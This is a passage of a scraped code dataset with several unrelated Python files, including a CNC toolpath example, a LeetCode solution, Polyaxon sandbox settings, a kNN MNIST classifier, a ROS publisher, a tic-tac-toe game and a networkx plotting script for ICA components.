camvtk.STLSurf(\"../../stl/gnu_tux_mod.stl\")\n print(\"STL surface read\")\n myscreen.addActor(stl)\n stl.SetWireframe() \n polydata = stl.src.GetOutput()\n print(dir(polydata))\n s= ocl.STLSurf()\n camvtk.vtkPolyData2OCLSTL(polydata, s)\n print(\"STLSurf with \", s.size(), \" triangles\")\n \n # define a cutter\n cutter = ocl.CylCutter(0.6, 5)\n print(cutter)\n \n print(\"creating PathDropCutter()\")\n pdc = ocl.PathDropCutter() # create a pdc\n print(\"set STL surface\")\n pdc.setSTL(s)\n print(\"set cutter\")\n pdc.setCutter(cutter) # set the cutter\n print(\"set minimumZ\")\n pdc.minimumZ = -1 # set the minimum Z-coordinate, or \"floor\" for drop-cutter\n print(\"set the sampling interval\")\n pdc.setSampling(0.0123)\n \n # some parameters for this \"zigzig\" pattern \n ymin=0\n ymax=12\n Ny=40 # number of lines in the y-direction\n dy = float(ymax-ymin)/Ny # the y step-over\n \n path = ocl.Path() # create an empty path object \n # add Line objects to the path in this loop\n for n in range(0,Ny):\n y = ymin+n*dy\n p1 = ocl.Point(0,y,0) # start-point of line\n p2 = ocl.Point(9,y,0) # end-point of line\n l = ocl.Line(p1,p2) # line-object\n path.append( l ) # add the line to the path\n\n print(\" set the path for pdf \")\n pdc.setPath( path )\n \n print(\" run the calculation \")\n t_before = time.time()\n pdc.run() # run drop-cutter on the path\n t_after = time.time()\n print(\"run took \", t_after-t_before,\" s\")\n \n print(\"get the results \")\n clp = pdc.getCLPoints() # get the cl-points from pdf\n \n print(\" render the CL-points\")\n camvtk.drawCLPointCloud(myscreen, clp)\n #myscreen.addActor( camvtk.PointCloud(pointlist=clp, collist=ccp) )\n myscreen.camera.SetPosition(3, 23, 15)\n myscreen.camera.SetFocalPoint(5, 5, 0)\n myscreen.render()\n print(\" All done.\")\n myscreen.iren.Start()\n","repo_name":"aewallin/opencamlib","sub_path":"examples/python/pathdropcutter_test_1.py","file_name":"pathdropcutter_test_1.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":343,"dataset":"github-code","pt":"72"} +{"seq_id":"73842691111","text":"def checkSubarraySum(self, nums: List[int], k: int) -> bool:\n '''\n 同余定理:如果两个整数m、n满足n-m能被k整除,那么n和m对k同余\n 即 ( pre(j) - pre (i) ) % k == 0 则 pre(j) % k == pre(i) % k\n '''\n # Key:pre(i) % k, Value: i\n cnt = defaultdict(int)\n cnt[0] = -1\n pre = 0\n for i,num in enumerate(nums):\n pre += num\n pre %= k\n if pre in cnt:\n if i - cnt[pre] >= 2:\n return True\n else:\n cnt[pre] = i\n return False","repo_name":"YuanyuanQiu/LeetCode","sub_path":"0523 Continuous Subarray Sum.py","file_name":"0523 Continuous Subarray Sum.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25649280940","text":"from typing import Optional\n\nfrom clipped.compact.pydantic import ValidationError\nfrom clipped.formatting import Printer\n\nfrom haupt.schemas.sandbox_config import SandboxConfig\nfrom polyaxon._services.values import PolyaxonServices\n\nPROXIES_CONFIG = None\nSANDBOX_CONFIG = None\n\nPolyaxonServices.set_service_name()\n\n\ndef set_proxies_config():\n from haupt.managers.proxies import ProxiesManager\n\n global PROXIES_CONFIG\n\n PROXIES_CONFIG = ProxiesManager.get_config_from_env()\n\n\ndef set_sandbox_config(\n config: Optional[SandboxConfig] = None,\n path: Optional[str] = None,\n persist: bool = False,\n env_only_config: bool = True,\n):\n from haupt.managers.sandbox import SandboxConfigManager\n from polyaxon.settings import HOME_CONFIG, set_agent_config\n\n SandboxConfigManager.set_config_path(HOME_CONFIG.path)\n PolyaxonServices.set_service_name(PolyaxonServices.SANDBOX)\n\n global SANDBOX_CONFIG\n\n try:\n SANDBOX_CONFIG = (\n config or SandboxConfigManager.get_config_from_env()\n if env_only_config\n else SandboxConfigManager.get_config_or_default()\n )\n SANDBOX_CONFIG.mount_sandbox(path=path or HOME_CONFIG.path)\n SANDBOX_CONFIG.set_default_artifacts_store()\n if persist:\n SandboxConfigManager.set_config(SANDBOX_CONFIG)\n set_agent_config(SANDBOX_CONFIG)\n\n except (TypeError, ValidationError):\n SandboxConfigManager.purge()\n Printer.warning(\"Your sandbox configuration was purged!\")\n","repo_name":"polyaxon/haupt","sub_path":"haupt/haupt/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":452,"dataset":"github-code","pt":"72"} +{"seq_id":"74071608553","text":"import numpy as np\r\nimport struct\r\nimport cv2\r\n\r\n# test_f0name = \"images.idx3-ubyte\"\r\n# test_f1name = \"labels.idx1-ubyte\"\r\nf0name = \"t10k-images.idx3-ubyte\"\r\nf1name = \"t10k-labels.idx1-ubyte\"\r\n\r\ndef read_idx(filename):\r\n with open(filename, 'rb') as f:\r\n zero, data_type, dims = struct.unpack('>HBB', f.read(4))\r\n shape = tuple(struct.unpack('>I', f.read(4))[0] for d in range(dims))\r\n return np.frombuffer(f.read(), dtype=np.uint8).reshape(shape)\r\n\r\nif __name__ == '__main__':\r\n # training data\r\n images = read_idx(f0name)\r\n labels = read_idx(f1name)\r\n\r\n # N for how many training images we should keep... cuz big data set = slow, slow af.\r\n N = 7500\r\n\r\n # formatted images, as a Nx784 array\r\n f_img = np.empty([N, images.shape[1] * images.shape[2]])\r\n\r\n for i in range(len(f_img)):\r\n f_img[i] = images[i].ravel()\r\n\r\n print(\"\\nFinished prepping the training data!\")\r\n\r\n # and now load the \"testing\" data\r\n # which will be 10000 - N data points\r\n test_images = images[-(images.shape[0] - N):] # read_idx(test_f0name)\r\n # and the labels to check if we got a correct result\r\n test_labels = labels[-(images.shape[0] - N):] # read_idx(test_f1name)\r\n\r\n # formatted images, as a Nx784 array\r\n f_t_img = np.empty([len(test_images), test_images.shape[1] * test_images.shape[2]])\r\n\r\n for i in range(len(f_t_img)):\r\n f_t_img[i] = test_images[i].ravel()\r\n\r\n print(\"Finished prepping the testing data!\\n\")\r\n\r\n # so at this point i have the \"training\" data - images and labels\r\n # now i can load an image and compare it with the training data\r\n # meaning i calculate the distances, sort them and get the K nearest neighbors\r\n # and the \"guess\" / result of the algorithm will be the label that appears the most in those K neighbors\r\n\r\n # so first set some K\r\n K = 5\r\n\r\n correct = 0\r\n total = 0\r\n\r\n # and now, for each image in the testing set\r\n for i in range(len(f_t_img)):\r\n # get the distances from the current \"point\" to all the other points IN THE TRAINING SET!\r\n distances = np.linalg.norm(f_img - f_t_img[i], ord=2, axis=1.)\r\n # and make like a set of pairs (distance, index)\r\n set_of_pairs = np.empty([len(distances), 2])\r\n for j in range(len(set_of_pairs)):\r\n set_of_pairs[j] = [distances[j], j]\r\n # sort the distances\r\n # and get the first K ones\r\n # here's a little lesson of trickery\r\n knn = set_of_pairs[set_of_pairs[:,0].argsort()][:K]\r\n # and get the most frequent label and clasify this image as that label\r\n frequency = {}\r\n for k in range(len(knn)):\r\n if labels[int(knn[k][1])] in frequency.keys():\r\n frequency[labels[int(knn[k][1])]] += 1\r\n else:\r\n frequency[labels[int(knn[k][1])]] = 1\r\n best = 0\r\n label = -1\r\n for k in frequency.keys():\r\n if frequency[k] > best:\r\n best = frequency[k]\r\n label = k\r\n total += 1\r\n if label == test_labels[i]:\r\n correct += 1\r\n print(\"Correct : \" + str((correct / total) * 100) + \"% ( \" + str(correct) + \" out of \" + str(total) + \" )\")\r\n\r\n # print(\"Guess : \" + str(label) + \" \", end=\"\", flush=True)\r\n # print(\"Correct : \" + str(test_labels[i]))\r\n\r\n # # show each image and print its label in the console\r\n # for i in range(len(images)):\r\n # big = cv2.resize(images[i], (512, 512))\r\n # cv2.imshow('image', big)\r\n # print(labels[i])\r\n # cv2.waitKey(250)\r\n","repo_name":"thediciman/K-Nearest-Neighbors-with-MNIST-Dataset","sub_path":"fun.py","file_name":"fun.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26757560935","text":"#! /usr/bin/env python\n\nimport rospy\nfrom read_odometry.msg import Age\n\nrospy.init_node('age_pub') #initiatie the node\npub = rospy.Publisher('/age_info', Age, queue_size=1) #Create a Publisher that will publish in the /age_info topic\nrate = rospy.Rate(2) #set rate at 2 Hz\nage = Age() #create an age message object\nage.years = 5 #fill values of message\nage.months = 2\nage.days = 1\n\nwhile not rospy.is_shutdown():\n pub.publish(age) #publish message into topic age_info\n rate.sleep()","repo_name":"daniel-l-merhi/Python-and-ROS-Coursework","sub_path":"ROS Basics/read_odometry/src/age_publisher.py","file_name":"age_publisher.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21057894878","text":"# Salvando o Excel como .xls !!!\nimport xlrd\nfrom collections import OrderedDict\nimport json\n\nwb = xlrd.open_workbook(\"./Gibbs_table_v2.xls\")\nsh = wb.sheet_by_index(0)\n\n# Lista com os títulos\ntitles = sh.row_values(0)\n\n# Dicionário principal\ndata = OrderedDict()\n\n# Loop para preencher \"data\"\nfor rownum in range(1, sh.nrows):\n data1 = OrderedDict()\n row_values = sh.row_values(rownum)\n\n # Loop para cada título\n for i in range(len(row_values)):\n data1[titles[i]] = row_values[i]\n \n # Chave de \"data\" são as fórmulas, ou, \"row_values[0]\"\n data[row_values[0]] = data1\n\n# Escrever dict para json\nwith open(\"thermo_factors.json\", \"w\", encoding=\"utf-8\") as writeJsonfile:\n json.dump(data, writeJsonfile, indent=4)","repo_name":"Mr-Yuri/simul_gaseif_newton","sub_path":"xls_to_json.py","file_name":"xls_to_json.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35606232731","text":"import random\nfrom copy import deepcopy\nfrom board import Board\nfrom btree import LinkedTree\nfrom btnode import BSTNode\n\n\nclass NotEmptyCellError(Exception):\n pass\n\n\nclass IndexOutOfRangeError(Exception):\n pass\n\n\nclass Game:\n \"\"\"Initializes the game\"\"\"\n\n def __init__(self):\n \"\"\"Initializes the board and starts the game\"\"\"\n self.board = Board()\n self.game()\n\n def possible_moves(self, board):\n \"\"\"Returns the list of possible moves\"\"\"\n rows, cols = 3, 3\n possible = []\n for row in range(rows):\n for col in range(cols):\n if board.is_empty(col, row):\n possible.append((row, col))\n return possible\n\n def tree_creation(self, board, count, tree, move, possible):\n \"\"\"Returns the number of winning combinations\"\"\"\n if len(possible) == 1:\n board.add_move(possible[0][1], possible[0][0], move)\n tree.insert_left = board\n if board.check_board() == 'x':\n count += 1\n return count\n if board.check_board() == 'x':\n count += 1\n return count\n else:\n if move == 'x':\n next_move = 'o'\n else:\n next_move = 'x'\n if not possible:\n return count\n i, j = 0, 0\n while possible:\n move1 = random.choice(possible)\n possible.remove(move1)\n board1 = deepcopy(board)\n board1.add_move(move1[1], move1[0], move)\n tree.insert_node(board1, True)\n possible2 = deepcopy(possible)\n\n count += self.tree_creation(board1, count, tree.get_children(i),\n next_move, possible)\n i = j\n j += 1\n return count\n\n def game(self):\n \"\"\"Runs the game\"\"\"\n while True:\n print(self.board)\n\n possible = self.possible_moves(self.board)\n user = int(input('Enter a number(0 to 8): '))\n if not(0 <= user <= 8):\n raise NotEmptyCellError('Please, enter valid index')\n row, col = user//3, user % 3\n if self.board.is_empty(col, row):\n self.board.add_move(col, row, 'o')\n else:\n raise IndexOutOfRangeError('This cell is not empty')\n possible = self.possible_moves(self.board)\n\n winner = self.board.check_board()\n if winner:\n print(self.board)\n print(winner + ' won the game!')\n break\n winner = self.board.check_board()\n if winner:\n print(winner + ' won the game!')\n break\n node = BSTNode(self.board)\n tree = LinkedTree(node)\n\n i, j = 0, 0\n trees = []\n while possible:\n move1 = random.choice(possible)\n possible.remove(move1)\n board1 = deepcopy(self.board)\n board1.add_move(move1[1], move1[0], 'x')\n tree.insert_node(board1, verbose=True)\n possible1 = deepcopy(possible)\n tree1 = self.tree_creation(\n board1, 0, tree.get_children(i), 'x', possible1)\n trees.append(tree1)\n i = j\n j += 1\n tr = max(trees)\n ind = trees.index(tr)\n self.board = tree.get_children(ind).key\n winner = self.board.check_board()\n if winner:\n print(self.board)\n print(winner + ' won the game!')\n break\n\n\nif __name__ == '__main__':\n game = Game()\n","repo_name":"Oleksandra2020/tic-tac-toe","sub_path":"advanced_tic_tac_toe/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28898311359","text":"from abstract_commands import AbstractCommands\n\n\n# Product F\nclass TriggerDevCard(AbstractCommands):\n def __init__(self, player, state=\"Starting\", can_cower=True):\n self.room_item = None\n self.player = player\n self.current_zombies = None\n self.state = state\n self.can_cower = can_cower\n\n def command(self, time):\n if len(self.dev_cards) == 0:\n if self.get_time == 11:\n print(\"You have run out of time\")\n self.lose_game()\n return\n else:\n print(\"Reshuffling The Deck\")\n self.load_dev_cards()\n self.time += 1\n\n dev_card = self.dev_cards[0]\n self.dev_cards.pop(0)\n event = dev_card.get_event_at_time(time)\n if event[0] == \"Nothing\":\n print(\"There is nothing in this room\")\n if len(self.chosen_tile.doors) == 1 and self.chosen_tile.name != \"Foyer\":\n self.state = \"Choosing Door\"\n self.get_game()\n return\n else:\n self.state = \"Moving\"\n self.get_game()\n return\n elif event[0] == \"Health\":\n print(\"There might be something in this room\")\n self.player.add_health(event[1])\n\n if event[1] > 0:\n print(f\"You gained {event[1]} health\")\n self.state = \"Moving\"\n elif event[1] < 0:\n print(f\"You lost {event[1]} health\")\n self.state = \"Moving\"\n if self.player.get_health() <= 0:\n self.lose_game()\n return\n elif event[1] == 0:\n print(\"You didn't gain or lose any health\")\n if len(self.chosen_tile.doors) == 1 and self.chosen_tile.name != \"Foyer\":\n self.state = \"Choosing Door\"\n if self.get_current_tile().name == \"Garden\" or \"Kitchen\":\n self.trigger_room_effect(self.get_current_tile().name)\n else:\n self.state = \"Moving\"\n self.get_game()\n elif event[0] == \"Item\":\n if len(self.dev_cards) == 0:\n if self.get_time == 11:\n print(\"You have run out of time\")\n self.lose_game()\n return\n else:\n print(\"Reshuffling The Deck\")\n self.load_dev_cards()\n self.time += 1\n next_card = self.dev_cards[0]\n print(f\"There is an item in this room: {next_card.get_item()}\")\n if len(self.player.get_items()) < 2:\n self.dev_cards.pop(0)\n self.player.add_item(next_card.get_item(), next_card.charges)\n print(f\"You picked up the {next_card.get_item()}\")\n if len(self.chosen_tile.doors) == 1 and self.chosen_tile.name != \"Foyer\":\n self.state = \"Choosing Door\"\n self.get_game()\n else:\n self.state = \"Moving\"\n self.get_game()\n else:\n self.room_item = [next_card.get_item(), next_card.charges]\n response = input(\"You already have two items, do you want to drop one of them? (Y/N) \")\n if response == \"Y\" or response == \"y\":\n self.state = \"Swapping Item\"\n else:\n self.state = \"Moving\"\n self.room_item = None\n self.get_game()\n if self.get_current_tile().name == \"Garden\" or \"Kitchen\":\n self.trigger_room_effect(self.get_current_tile().name)\n elif event[0] == \"Zombies\":\n print(f\"There are {event[1]} zombies in this room, prepare to fight!\")\n self.current_zombies = int(event[1])\n self.state = \"Attacking\"\n","repo_name":"DJWild2996/myzimp","sub_path":"ZIMP/trigger_dev_card.py","file_name":"trigger_dev_card.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6151988960","text":"import pandas as pd\nimport numpy as np\nimport networkx as nx\nimport scipy.stats\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\n\ndef Alternating_left_right_node_coord(graph, comp_start_dict):\n\t\n\tstart_nodes_list = list(comp_start_dict.keys())\n\tstart_nodes_list.sort(key = lambda x: int(x.split(\"C_\")[0]))\n\tNodes_coord_dict = {}\n\tx_coord = 1\t\n\tmult_switch = 1\n\tfor s_node in start_nodes_list:\n\t\te_node = comp_start_dict[s_node]\n\t\tx = (x_coord//2)*mult_switch\n\t\tx_coord += 1\n\t\tmult_switch *= -1\n\n\t\tNodes_coord_dict[s_node] = {}\n\t\tNodes_coord_dict[s_node][\"pos\"] = (x,int(s_node.split(\"C_\")[0]))\n\t\tNodes_coord_dict[e_node] = {}\n\t\tNodes_coord_dict[e_node][\"pos\"] = (x,int(e_node.split(\"C_\")[0]))\n\tnx.set_node_attributes(graph, Nodes_coord_dict)\n\t\n\treturn graph\n\ndef Slide_right_node_coord(graph, comp_start_dict):\n\t\n\tstart_nodes_list = list(comp_start_dict.keys())\n\tstart_nodes_list.sort(key = lambda x: int(x.split(\"C_\")[0]))\n\tNodes_coord_dict = {}\n\tx_coord = 1\n\tfor s_node in start_nodes_list:\n\t\te_node = comp_start_dict[s_node]\n\t\tx = x_coord\n\t\tx_coord += 1\n\n\t\tNodes_coord_dict[s_node] = {}\n\t\tNodes_coord_dict[s_node][\"pos\"] = (x,int(s_node.split(\"C_\")[0]))\n\t\tNodes_coord_dict[e_node] = {}\n\t\tNodes_coord_dict[e_node][\"pos\"] = (x,int(e_node.split(\"C_\")[0]))\n\tnx.set_node_attributes(graph, Nodes_coord_dict)\n\t\n\treturn graph\n\ndef Get_signature_correlations(graph, component_str, signature_choice, gap_threshold):\n\t\n\t# Plot signature correlations barplot\n\tsignatures=[\"Biton_M2_GC_CONTENT\",\"Biton_M3_SMOOTH_MUSCLE\",\"Biton_M4_MITOCHONRIA_TRANSLATION\",\"Biton_M5_INTERFERON\",\"Biton_M6_BASALLIKE\",\"Biton_M7_CELLCYCLE\",\"Biton_M8_IMMUNE\",\"Biton_M9_UROTHELIALDIFF\",\"Biton_M12_MYOFIBROBLASTS\",\"Biton_M13_BLCAPATHWAYS\",\"Biton_M14_STRESS\"]\n\tsign_ind = signatures.index(signature_choice)\n\tscore_list = []\n\tfor sign in signatures:\n\t\tscore_list.append(graph.nodes[component_str][sign])\n\t\t#print(graph.nodes[component_str][sign])\n\tsign_score = score_list[sign_ind]\n\tscore_list.sort(reverse=True)\n\tprint(score_list, sign_score)\n\tif sign_score == score_list[0]:\n\t\tif sign_score/score_list[1] > gap_threshold:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\tif score_list[0]/sign_score > gap_threshold:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\ndef Get_SD_genes(component_str, SD_threshold, foldername, job):\n\t\n\tgene_list = []\n\tGenes = pd.read_csv(foldername+\"/\"+job+\"_genes.txt\", sep='\\t')\n\torder = int(component_str.split(\"C_\")[0])\n\tIC = int(component_str.split(\"C_\")[1])\n\tS = np.load(job+\"_deconvolutions/\"+job+\"_S_matrix_C\"+str(order)+\".npy\")\n\t\n\tIC_vect = S[:,IC-1]\n\t# Extract genes\n\tIC_std = np.std(IC_vect)\n\tIC_mean = np.mean(IC_vect)\n\t#print(IC_std)\n\t# Genes above SD\n\tIC_plus = IC_vect > IC_mean+(IC_std*SD_threshold)\n\t#print(Genes[IC_plus].values[0])\n\tgene_list.extend(Genes[IC_plus][\"Genes\"].to_list())\n\t# Genes below SD\n\tIC_minus = IC_vect < IC_mean-(IC_std*SD_threshold)\n\tgene_list.extend(Genes[IC_minus][\"Genes\"].to_list())\n\t\n\treturn gene_list\n\ndef Create_plot_colors(graph, max_dim, layout, threshold_sign, signature, edge_select, print_node_labels,\n\t\t\t\t\t\tprint_edge_labels, print_all_nodes, source_node, node_cmap, edge_cmap,\n\t\t\t\t\t\tgenes_test, SD, genes_prop, file_name, foldername, job, added_edges, start_nodes,show):\n\t\n\t# Find nodes and edges if 1 node has high correlation with signature\n\tedge_width = 3\n\tthreshold_sign = float(threshold_sign)\n\tSD = int(SD)\n\tgenes_prop = float(genes_prop)\n\tnodes_to_draw = []\n\tedges_to_draw = []\n\tnodes_gene_prop = []\n\t# Draw nodes based on signature correlation\n\tif len(source_node)<1:\n\t\t# Find sure nodes\n\t\tfor node in graph.nodes():\n\t\t\tif graph.nodes()[node][signature] > threshold_sign:\n\t\t\t\t# To look later to select sign nodes based on relative gap of sign corr\n\t\t\t\t\"\"\"\n\t\t\t\t#Gap_sign_test = Get_signature_correlations(graph, node, signature, 1.5)\n\t\t\t\t#print(Gap_sign_test, node)\n\t\t\t\t\"\"\"\n\t\t\t\tnodes_to_draw.append(node)\n\t\t# Get all connected nodes\n\t\tif print_all_nodes:\n\t\t\tfor node in nodes_to_draw:\n\t\t\t\tsign_nodes = nx.node_connected_component(graph, node)\n\t\t\t\tfor s_node in sign_nodes:\n\t\t\t\t\tif s_node not in nodes_to_draw:\n\t\t\t\t\t\tnodes_to_draw.append(s_node)\n\t\t# Get edges containing nodes to draw\n\t\tfor edge in graph.edges():\n\t\t\tif edge[0] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t\t\telif edge[1] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t# Draw nodes from input list\n\telse:\n\t\tnodes_to_draw = source_node.split(\",\")\n\t\t# Get all connected nodes\n\t\tfor node in nodes_to_draw:\n\t\t\tsign_nodes = nx.node_connected_component(graph, node)\n\t\t\tfor s_node in sign_nodes:\n\t\t\t\tif s_node not in nodes_to_draw:\n\t\t\t\t\tnodes_to_draw.append(s_node)\n\t\t# Get edges containing nodes to draw\n\t\tfor edge in graph.edges():\n\t\t\tif edge[0] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t\t\telif edge[1] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t# Get nodes containing genes of interest\n\tif len(genes_test)>0:\n\t\tgene_list = genes_test.split(\",\")\n\t\tprint(\"Looking for genes of interest\")\n\t\tnodes_to_draw = []\n\t\tfor node in graph.nodes():\n\t\t\tSD_gene_list = Get_SD_genes(node, SD, foldername, job)\n\t\t\tgene_count = 0\n\t\t\tfor gene in gene_list:\n\t\t\t\tif gene in SD_gene_list:\n\t\t\t\t\tgene_count += 1\n\t\t\tif gene_count>0:\n\t\t\t\tprop_found = gene_count/len(gene_list)\n\t\t\t\tif prop_found >= genes_prop:\n\t\t\t\t\tnodes_to_draw.append(node)\n\t\t\t\t\tnodes_gene_prop.append(prop_found)\n\t\t# Get edges containing nodes to draw\n\t\tedges_to_draw = []\n\t\tfor edge in graph.edges():\n\t\t\tif edge[0] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t\t\telif edge[1] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t\t#print(\"Found nodes:\", len(nodes_to_draw))\n\t\t#print(\"Found edges:\", len(edges_to_draw))\n\t\n\tif len(nodes_to_draw) < 1:\n\t\tprint(\"No components found...\")\n\t\treturn\n\telse:\n\t\tprint(\"Found\", len(nodes_to_draw), \"Components!\")\n\t\n\t# Get nodes labels\n\tnode_labels = {}\n\tfor node in nodes_to_draw:\n\t\tnode_labels[node] = node\n\t# Get nodes color based on signature correlation\n\tnode_colors = []\n\tfor node in nodes_to_draw:\n\t\tnode_colors.append(graph.nodes()[node][signature])\n\t# Get edges width based on average signature correlation\n\tedge_widths = []\n\tfor edge in edges_to_draw:\n\t\tedge_widths.append(graph.edges()[edge][\"Average_\"+signature])\n\t# Get edges color based on average signature correlation\n\tedge_colors = []\n\tedge_labels_sign = {}\n\tfor edge in edges_to_draw:\n\t\tedge_colors.append(graph.edges()[edge][\"Average_\"+signature])\n\t\tedge_labels_sign[edge] = round(graph.edges()[edge][\"Average_\"+signature], 2)\n\t# Get edges color based on Pearson correlation\n\tedge_colors_cor = []\n\tedge_labels_pear = {}\n\tfor edge in edges_to_draw:\n\t\tedge_colors_cor.append(graph.edges()[edge][\"Pear_cor\"])\n\t\tedge_labels_pear[edge] = round(graph.edges()[edge][\"Pear_cor\"], 2)\n\t# Get edges style: solid if true component and dashed if added\n\tedge_dashed_name = []\n\tedge_solid_name = []\n\tedge_dashed_colors = []\n\tedge_solid_colors = []\n\tedge_dashed_colors_cor = []\n\tedge_solid_colors_cor = []\n\tedge_dashed_labels_sign = {}\n\tedge_solid_labels_sign = {}\n\tedge_dashed_labels_pear = {}\n\tedge_solid_labels_pear = {}\n\tcount = 0\n\tfor edge in edges_to_draw:\n\t\tif edge in added_edges:\n\t\t\tedge_dashed_name.append(edge)\n\t\t\tedge_dashed_colors.append(edge_colors[count])\n\t\t\tedge_dashed_colors_cor.append(edge_colors_cor[count])\n\t\t\tedge_dashed_labels_sign[edge] = edge_labels_sign[edge]\n\t\t\tedge_dashed_labels_pear[edge] = edge_labels_pear[edge]\n\t\telse:\n\t\t\tedge_solid_name.append(edge)\n\t\t\tedge_solid_colors.append(edge_colors[count])\n\t\t\tedge_solid_colors_cor.append(edge_colors_cor[count])\n\t\t\tedge_solid_labels_sign[edge] = edge_labels_sign[edge]\n\t\t\tedge_solid_labels_pear[edge] = edge_labels_pear[edge]\n\t\tcount+=1\n\t\n\t# Plot the selected components\n\tif layout == \"Alternating\":\n\t\tgraph = Alternating_left_right_node_coord(graph, start_nodes)\n\tif layout == \"Climbing\":\n\t\tgraph = Slide_right_node_coord(graph, start_nodes)\n\t\n\t# Get positions of nodes and consequently edges\n\tpos=nx.get_node_attributes(graph,'pos')\n\t# Get node labels positions on top-right\n\tpos_labels={}\n\tfor p in pos:\n\t\tpos_labels[p] = (pos[p][0]+3,pos[p][1]+1)\n\t\n\tfig, ax = plt.subplots()\n\t\n\tif print_node_labels:\n\t\tnx.draw_networkx_labels(graph,pos,labels=node_labels,\n\t\t\t\t\t\t\t\t\t\t\tfont_size=10,font_weight='bold',ax=ax)\n\t\tnodes_fig = nx.draw_networkx_nodes(graph, pos,\n\t\t\t\t\t\tnodelist=nodes_to_draw, node_size=0,\n\t\t\t\t\t\tnode_color=node_colors, cmap=plt.cm.get_cmap(node_cmap), vmin=0, vmax=1,\n\t\t\t\t\t\tedgecolors=\"k\",linewidths=2,ax=ax)\n\t\talpha_val = 0.5\n\telif len(genes_test)>0:\n\t\tnodes_fig = nx.draw_networkx_nodes(graph, pos,\n\t\t\t\t\t\tnodelist=nodes_to_draw, node_size=100,\n\t\t\t\t\t\tnode_color=nodes_gene_prop, cmap=plt.cm.get_cmap(node_cmap), vmin=0, vmax=1,\n\t\t\t\t\t\tedgecolors=\"k\",linewidths=2,ax=ax)\n\t\talpha_val = 1\n\telse:\n\t\tnodes_fig = nx.draw_networkx_nodes(graph, pos,\n\t\t\t\t\t\tnodelist=nodes_to_draw, node_size=100,\n\t\t\t\t\t\tnode_color=node_colors, cmap=plt.cm.get_cmap(node_cmap), vmin=0, vmax=1,\n\t\t\t\t\t\tedgecolors=\"k\",linewidths=2,ax=ax)\n\t\talpha_val = 1\n\n\t### Test for dashed edges\n\tif edge_select == \"Signature_correlation\":\n\t\t# Solid edges first\n\t\tif edge_solid_name:\n\t\t\tedges_border = nx.draw_networkx_edges(graph, pos, edgelist=edge_solid_name,\n\t\t\t\t\t\t\t\t width=edge_width*1.5, edge_color=\"k\", style='solid',alpha=alpha_val)\n\t\t\tedges_fig = nx.draw_networkx_edges(graph, pos, edgelist=edge_solid_name, width=edge_width,\n\t\t\t\t\t\t\t\t edge_color=edge_solid_colors, style='solid',alpha=alpha_val,\n\t\t\t\t\t\t\t\t edge_cmap=plt.cm.get_cmap(edge_cmap), edge_vmin=0, edge_vmax=1)\n\t\t# Dashed edges second\n\t\tif edge_dashed_name:\n\t\t\tedges_border = nx.draw_networkx_edges(graph, pos, edgelist=edge_dashed_name,\n\t\t\t\t\t\t\t\t width=edge_width*0.5, edge_color=\"k\", style='solid',alpha=alpha_val)\n\t\t\tedges_fig = nx.draw_networkx_edges(graph, pos, edgelist=edge_dashed_name, width=edge_width*0.5,\n\t\t\t\t\t\t\t\t edge_color=edge_dashed_colors, style='dashed',alpha=alpha_val,\n\t\t\t\t\t\t\t\t edge_cmap=plt.cm.get_cmap(edge_cmap), edge_vmin=0, edge_vmax=1)\n\t\tif print_edge_labels:\n\t\t\tnx.draw_networkx_edge_labels(graph, pos, edgelist=edges_to_draw,\n\t\t\t\t\t\t\t\t\t\tedge_labels=edge_labels_sign,label_pos=0.5,\n\t\t\t\t\t\t\t\t\t\tfont_weight='bold')\n\t\t\n\telif edge_select == \"Pearson_correlation\":\n\t\t# Solid edges first\n\t\tif edge_solid_name:\n\t\t\tedges_border = nx.draw_networkx_edges(graph, pos, edgelist=edge_solid_name,\n\t\t\t\t\t\t\t\t width=edge_width*1.5, edge_color=\"k\", style='solid',alpha=alpha_val)\n\t\t\tedges_fig = nx.draw_networkx_edges(graph, pos, edgelist=edge_solid_name, width=edge_width,\n\t\t\t\t\t\t\t\t edge_color=edge_solid_colors_cor, style='solid',alpha=alpha_val,\n\t\t\t\t\t\t\t\t edge_cmap=plt.cm.get_cmap(edge_cmap), edge_vmin=0, edge_vmax=1)\n\t\t# Dashed edges second\n\t\tif edge_dashed_name:\n\t\t\tedges_border = nx.draw_networkx_edges(graph, pos, edgelist=edge_dashed_name,\n\t\t\t\t\t\t\t\t width=edge_width*0.5, edge_color=\"w\", style='solid',alpha=alpha_val)\n\t\t\tedges_fig = nx.draw_networkx_edges(graph, pos, edgelist=edge_dashed_name, width=edge_width*0.5,\n\t\t\t\t\t\t\t\t edge_color=edge_dashed_colors_cor, style='dashed',alpha=alpha_val,\n\t\t\t\t\t\t\t\t edge_cmap=plt.cm.get_cmap(edge_cmap), edge_vmin=0, edge_vmax=1)\n\t\tif print_edge_labels:\n\t\t\tnx.draw_networkx_edge_labels(graph, pos, 